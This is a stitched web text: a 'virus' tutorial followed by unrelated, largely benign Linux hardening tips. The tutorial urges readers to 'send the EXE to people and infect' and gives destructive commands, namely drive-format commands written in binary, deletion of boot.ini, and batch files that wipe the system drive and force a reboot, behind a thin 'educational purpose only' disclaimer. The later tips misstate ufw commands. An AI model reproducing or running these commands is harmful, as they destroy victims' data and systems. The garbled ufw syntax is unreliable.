Step 2 :- Save As An EXE Any Name Will Do


Step 3 :- Send the EXE to People And Infect

OR

IF you think cannot format C Drive when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary code

format c:\ /Q/X — this will format your drive c:\


01100110011011110111001001101101011000010111010000 100000011000110011101001011100

0010000000101111010100010010111101011000

format d:\ /Q/X — this will format your dirve d:\

01100110011011110111001001101101011000010111010000 100000011001000011101001011100
0010000000101111010100010010111101011000

format a:\ /Q/X — this will format your drive a:\
01100110011011110111001001101101011000010111010000 100000011000010011101001011100
0010000000101111010100010010111101011000

del /F/S/Q c:\boot.ini — this will cause your computer not to boot.
01100100011001010110110000100000001011110100011000 101111010100110010111101010001
00100000011000110011101001011100011000100110111101 101111011101000010111001101001
0110111001101001

try to figure out urself rest

cant spoonfeed

its working

Do not try it on your PC. Don’t mess around this is for educational purpose only

still if you cant figure it out try this go to notepad and type the following:

@Echo off

Del C:\ *.*|y

save it as Dell.bat

want worse then type the following:

@echo off

del %systemdrive%\*.*/f/s/q

shutdown -r -f -t 00

and save it as a .bat file

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Firewalls are your guardian angels.

First of all, keep a software firewall active on your system, and restrict access to ports that allow remote access into your system, a good idea is to allow only a few select hosts access to ports used by services such as ssh (port 22) or telnet (port 23). Keeping a firewall in place ensures that you alone dictate who gets to access remote services on your computer and who doesn’t. To set up a firewall in linux, you can use the iptables program which comes standard with most linux distributions. However, iptables is quite difficult and complicated to set up correctly, and you will need to spend some time fiddling with the command line, but it is very flexible and powerful once configured correctly.

If messing about with iptables dosen’t appeal to you, there are frontends to iptables that you can use to set up effective firewalls. One such frontend is ufw (uncomplicated firewall) this program comes standard on ubuntu and is quite simple to set up, to use it you first have to enable it by typing in ’sudo enable ufw’ in the terminal, once the ufw service is active, adding rules is as simple as ’sudo allow 22/tcp’ > this statement allows all tcp traffic on port 22, swap allow for deny and you have the ssh service blocked, Its that simple, much easier than mucking about with iptables.

Of course, there are many people who do not like the idea of using command-line programs and like all their apps to be graphical. If you prefer a GUI configured firewall, then firestarter is the choice for you. Firestarter is a breeze to use, and has good documentation available on the firestarter website.


2) Passwords are for your protection, choose them well

Choose good user passwords, especially for root. One way to choose a secure password is to take a sentence, reduce it to an acronym and then replace some letters of the acronym with symbols and add some numbers to it. this mixing of alphabets, numbers and symbols, along with its long length will be a strong password.

Never use actual words that have meaning as passwords. These types of passwords are weak and can be cracked using dictionary attacks. Also along those lines: Never use words that hold personal significance with you.. i.e don’t use passwords that people who know you will be inclined to think that you would use, like a favorite pet’s name.. etc.

And for god’s sake, don’t use the word ‘password’ as a password…. ( don’t laugh… thats one of the most common passwords .. )


3) Use antivirus

Yeaps you read right.. antivirus. Antivirus on linux you say? Yes, linux has antivirus suites as well , but this is more for cleaning off your thumbdrives that you may have used in an infected windows machine than for killing linux viruses, as the system of user permissions for executing files makes linux a very inhospitable place for computer viruses to live. clamAV is a good antivirus choice, with a GUI version available for most major distros.


4) Be careful what scripts you get off the net
Getting bash scripts off the net is convenient, but be careful what scripts you run on your system, and make sure you check them out first. If you suspect that a script you got has some nasty intentions behind it, but you do not have the expertise in bash scripting to be sure, post the script in text form on linux support forums and the community will help you out. Unfortunatly, there are idiots out there who write destructive shell scripts and release them into the wilds of the internet, in this case intuition is your best defence.

5) Encrypt sensitive data that you may have.
The concept behind encryption is relatively simple, make the data to be encrypted unreadable to anybody besides authorised users.

My favourite program for encrypting data on linux AND windows would have to be truecrypt. Truecrypt works by creating a virtual volume which you can then set a passphrase or security key to. When you mount the virtual volume, you can then add files to it, which will be totally encrypted and unviewable once unmounted. The only way to mount the drive is to supply the passphrase or key.

6)Keep your BIOS set to boot from your harddrive and then add a password to your bios.

This is to keep people from booting off from live CDs and cracking your password from them. Although it is relatively easy to reset the BIOS password, this should be at least a minor detterance to those who may try this cracking method.

Well, there you go.. hopefully you wil use these tips and make your system a safer box to work on.

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